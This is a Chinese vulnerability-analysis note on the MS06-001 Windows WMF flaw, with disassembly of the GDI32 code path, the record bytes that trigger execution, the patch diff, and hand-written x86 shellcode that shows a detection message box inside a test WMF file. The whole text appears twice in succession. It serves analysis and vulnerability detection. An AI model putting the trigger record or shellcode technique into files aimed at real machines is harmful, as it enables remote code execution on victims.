MS06001 图形呈现引擎(WMF)漏洞分析学习手记
killer<2>xfocus.org
图形呈现引擎中由于其处理 Windows 图元文件 (WMF) 图像的方式而存在一个远程执行代码漏洞。据FlashSky所言是MS早期在处理OLE而在WMF(没有考虑安全)中定义的功能。漏洞因0day方式传播而导致漏洞被曝光。Win2000、XPsp1、XPsp2代码略有不同,如下代码是XPsp1的。
一、漏洞分析:
漏洞出现的问题是在PlayMetaFile函数中,函数调用关系如下:
Gdi32.dll!PlayMetaFile
PlayMetaFileRecord
Escape
SetAbortProc
在PlayMetaFileRecord函数中将比较wmf格式中的相关Record结构,如果该标记不为0X49和后续的标记不为0X0f则转向跳到ESCAPE函数上,ESCAPE会允许设置为wmf一个段当作代码,并将这个地址传送给sETaBORTpROC,在sETaBORTpROC函数返回的时候,WMF文件中的代码将会被执行。
在WMF文件头中增加如下Record可以激活漏洞:11 00 00 00 26 06 09 00 16 00
.TEXT:77c4b65c PUSH [EBP+UfLAGS] ; CASE 0X26
.TEXT:77c4b65f PUSH EBX
.TEXT:77c4b660 CALL _pLAYiNTOamETAFILE@8 ; pLAYiNTOamETAFILE(X,X)
.TEXT:77c4b665 CMP EAX, EDI
.TEXT:77c4b667 MOV [EBP+VAR_4], EAX
.TEXT:77c4b66a JNZ LOC_77c4b424
.TEXT:77c4b670 MOV AX, [EBX+6] ;AX=09=sETaBORTpROC
.TEXT:77c4b674 CMP AX, 0fH
.TEXT:77c4b678 JNZ LOC_77c5fc0a
...
.TEXT:77c61062 SUB EDI, 6 ;将9进行减去三次,如果在减6为0
.TEXT:77c61065 JZ SHORT LOC_77c61090 ;则跳到sETaBORTpROC函数
...
.TEXT:77c61090 PUSH [EBP+ARG_c] ; abortproc
.TEXT:77c61093 PUSH [EBP+ARG_0] ; hdc
.TEXT:77c61096 CALL _sETaBORTpROC@8 ; sETaBORTpROC函数将返回1
...
.TEXT:77c604c8 MOV EAX, [EAX+14H] ;代码地址传入eax
.TEXT:77c604cb CMP EAX, ECX ;如果该地址为空跳走
.TEXT:77c604cd JZ LOC_77c4b286
.TEXT:77c604d3 PUSH ECX
.TEXT:77c604d4 PUSH EDI
.TEXT:77c604d5 CALL EAX ;执行wmf文件中的代码!
.TEXT:77c604d7 TEST EAX, EAX
.TEXT:77c604d9 JZ LOC_77c5c87b
.TEXT:77c604df JMP LOC_77c4b286
补丁改动:
MS修补这个漏洞采用直接比较是否为0x09,如果是则不走入Escape函数,直接返回。
7F032200 837C24 04 09 CMP DWORD PTR SS:[ESP+4],9 ;直接比较标记是否为09
7F032205 74 08 JE SHORT GDI32.7F03220F
7F032207 837C24 04 0F CMP DWORD PTR SS:[ESP+4],0F
7F03220C 74 01 JE SHORT GDI32.7F03220F
7F03220E 40 INC EAX
7F03220F C2 0400 RETN 4
二、检测Shellcode:
为检测主机是否存在漏洞,构造了一个WMF文件,发现现有的ShellCode无不是为了入侵(add user&downexec),流传的那个0day会崩掉Explorer.exe,于是自己写了一个简易弹出提醒对话框的Shellcode,代码如下:
__asm
{
pushad
sub esp, 100;
mov ebp,esp;
mov eax,fs:0x30
mov eax,[eax+0x0c]
mov esi,[eax+0x1c]
lodsd
mov edi,[eax+0x08]
mov eax, [edi+3Ch]
mov edx,[edi+eax+78h]
add edx,edi
mov ecx,[edx+18h]
mov ebx,[edx+20h]
add ebx,edi
sa:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi
mov eax,0x50746547
cmp [esi], eax
jne sa
mov eax,0x41636f72
cmp [esi+4],eax
jne sa
mov ebx,[edx+24h]
add ebx,edi
mov cx,[ebx+ecx*2]
mov ebx,[edx+1Ch]
add ebx,edi
mov eax,[ebx+ecx*4]
add eax,edi
mov [ebp+76], eax
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call [ebp+76]
mov [ebp+80], eax
push dword ptr 0x00003233
push dword ptr 0x72657375
push esp
call [ebp+80] ;LoadLibraryA
mov edi,eax
push dword ptr 0x0041786F
push dword ptr 0x42656761
push dword ptr 0x7373654D
push esp
push edi
call [ebp+76]
mov [ebp+84], eax
mov byte PTR [ebp-41h],00h
mov byte PTR [ebp-40h],00h
lea esi,[ebp-41h]
mov byte PTR [ebp-19h],46h
mov byte PTR [ebp-18h],6fh
mov byte PTR [ebp-17h],75h
mov byte PTR [ebp-16h],6eh
mov byte PTR [ebp-15h],64h
mov byte PTR [ebp-14h],20h
mov byte PTR [ebp-13h],57h
mov byte PTR [ebp-12h],4dh
mov byte PTR [ebp-11h],46h
mov byte PTR [ebp-10h],20h
mov byte PTR [ebp-0fh],76h
mov byte PTR [ebp-0eh],75h
mov byte PTR [ebp-0dh],6ch
mov byte PTR [ebp-0ch],6eh
mov byte PTR [ebp-0bh],75h
mov byte PTR [ebp-0ah],72h
mov byte PTR [ebp-09h],61h
mov byte PTR [ebp-08h],62h
mov byte PTR [ebp-07h],69h
mov byte PTR [ebp-06h],6ch
mov byte PTR [ebp-05h],69h
mov byte PTR [ebp-04h],74h
mov byte PTR [ebp-03h],79h
mov byte PTR [ebp-02h],21h
mov byte PTR [ebp-01h],00h
lea edi,[ebp-19h]
push 0x30
push esi
push edi
push 0
call [ebp+84]
add esp,136
popad
retn
}
利用这个Shellcode构造了一个测试的wmf文件(320字节),有漏洞主机预览此附件会弹出发现风险的提示窗口。
感谢: Sowhat、FlashSky、tombkeeper,没有你们的指点便没有这篇文章。
killer<2>xfocus.org
图形呈现引擎中由于其处理 Windows 图元文件 (WMF) 图像的方式而存在一个远程执行代码漏洞。据FlashSky所言是MS早期在处理OLE而在WMF(没有考虑安全)中定义的功能。漏洞因0day方式传播而导致漏洞被曝光。Win2000、XPsp1、XPsp2代码略有不同,如下代码是XPsp1的。
一、漏洞分析:
漏洞出现的问题是在PlayMetaFile函数中,函数调用关系如下:
Gdi32.dll!PlayMetaFile
PlayMetaFileRecord
Escape
SetAbortProc
在PlayMetaFileRecord函数中将比较wmf格式中的相关Record结构,如果该标记不为0X49和后续的标记不为0X0f则转向跳到ESCAPE函数上,ESCAPE会允许设置为wmf一个段当作代码,并将这个地址传送给sETaBORTpROC,在sETaBORTpROC函数返回的时候,WMF文件中的代码将会被执行。
在WMF文件头中增加如下Record可以激活漏洞:11 00 00 00 26 06 09 00 16 00
.TEXT:77c4b65c PUSH [EBP+UfLAGS] ; CASE 0X26
.TEXT:77c4b65f PUSH EBX
.TEXT:77c4b660 CALL _pLAYiNTOamETAFILE@8 ; pLAYiNTOamETAFILE(X,X)
.TEXT:77c4b665 CMP EAX, EDI
.TEXT:77c4b667 MOV [EBP+VAR_4], EAX
.TEXT:77c4b66a JNZ LOC_77c4b424
.TEXT:77c4b670 MOV AX, [EBX+6] ;AX=09=sETaBORTpROC
.TEXT:77c4b674 CMP AX, 0fH
.TEXT:77c4b678 JNZ LOC_77c5fc0a
...
.TEXT:77c61062 SUB EDI, 6 ;将9进行减去三次,如果在减6为0
.TEXT:77c61065 JZ SHORT LOC_77c61090 ;则跳到sETaBORTpROC函数
...
.TEXT:77c61090 PUSH [EBP+ARG_c] ; abortproc
.TEXT:77c61093 PUSH [EBP+ARG_0] ; hdc
.TEXT:77c61096 CALL _sETaBORTpROC@8 ; sETaBORTpROC函数将返回1
...
.TEXT:77c604c8 MOV EAX, [EAX+14H] ;代码地址传入eax
.TEXT:77c604cb CMP EAX, ECX ;如果该地址为空跳走
.TEXT:77c604cd JZ LOC_77c4b286
.TEXT:77c604d3 PUSH ECX
.TEXT:77c604d4 PUSH EDI
.TEXT:77c604d5 CALL EAX ;执行wmf文件中的代码!
.TEXT:77c604d7 TEST EAX, EAX
.TEXT:77c604d9 JZ LOC_77c5c87b
.TEXT:77c604df JMP LOC_77c4b286
补丁改动:
MS修补这个漏洞采用直接比较是否为0x09,如果是则不走入Escape函数,直接返回。
7F032200 837C24 04 09 CMP DWORD PTR SS:[ESP+4],9 ;直接比较标记是否为09
7F032205 74 08 JE SHORT GDI32.7F03220F
7F032207 837C24 04 0F CMP DWORD PTR SS:[ESP+4],0F
7F03220C 74 01 JE SHORT GDI32.7F03220F
7F03220E 40 INC EAX
7F03220F C2 0400 RETN 4
二、检测Shellcode:
为检测主机是否存在漏洞,构造了一个WMF文件,发现现有的ShellCode无不是为了入侵(add user&downexec),流传的那个0day会崩掉Explorer.exe,于是自己写了一个简易弹出提醒对话框的Shellcode,代码如下:
__asm
{
pushad
sub esp, 100;
mov ebp,esp;
mov eax,fs:0x30
mov eax,[eax+0x0c]
mov esi,[eax+0x1c]
lodsd
mov edi,[eax+0x08]
mov eax, [edi+3Ch]
mov edx,[edi+eax+78h]
add edx,edi
mov ecx,[edx+18h]
mov ebx,[edx+20h]
add ebx,edi
sa:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi
mov eax,0x50746547
cmp [esi], eax
jne sa
mov eax,0x41636f72
cmp [esi+4],eax
jne sa
mov ebx,[edx+24h]
add ebx,edi
mov cx,[ebx+ecx*2]
mov ebx,[edx+1Ch]
add ebx,edi
mov eax,[ebx+ecx*4]
add eax,edi
mov [ebp+76], eax
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call [ebp+76]
mov [ebp+80], eax
push dword ptr 0x00003233
push dword ptr 0x72657375
push esp
call [ebp+80] ;LoadLibraryA
mov edi,eax
push dword ptr 0x0041786F
push dword ptr 0x42656761
push dword ptr 0x7373654D
push esp
push edi
call [ebp+76]
mov [ebp+84], eax
mov byte PTR [ebp-41h],00h
mov byte PTR [ebp-40h],00h
lea esi,[ebp-41h]
mov byte PTR [ebp-19h],46h
mov byte PTR [ebp-18h],6fh
mov byte PTR [ebp-17h],75h
mov byte PTR [ebp-16h],6eh
mov byte PTR [ebp-15h],64h
mov byte PTR [ebp-14h],20h
mov byte PTR [ebp-13h],57h
mov byte PTR [ebp-12h],4dh
mov byte PTR [ebp-11h],46h
mov byte PTR [ebp-10h],20h
mov byte PTR [ebp-0fh],76h
mov byte PTR [ebp-0eh],75h
mov byte PTR [ebp-0dh],6ch
mov byte PTR [ebp-0ch],6eh
mov byte PTR [ebp-0bh],75h
mov byte PTR [ebp-0ah],72h
mov byte PTR [ebp-09h],61h
mov byte PTR [ebp-08h],62h
mov byte PTR [ebp-07h],69h
mov byte PTR [ebp-06h],6ch
mov byte PTR [ebp-05h],69h
mov byte PTR [ebp-04h],74h
mov byte PTR [ebp-03h],79h
mov byte PTR [ebp-02h],21h
mov byte PTR [ebp-01h],00h
lea edi,[ebp-19h]
push 0x30
push esi
push edi
push 0
call [ebp+84]
add esp,136
popad
retn
}
利用这个Shellcode构造了一个测试的wmf文件(320字节),有漏洞主机预览此附件会弹出发现风险的提示窗口。
感谢: Sowhat、FlashSky、tombkeeper,没有你们的指点便没有这篇文章。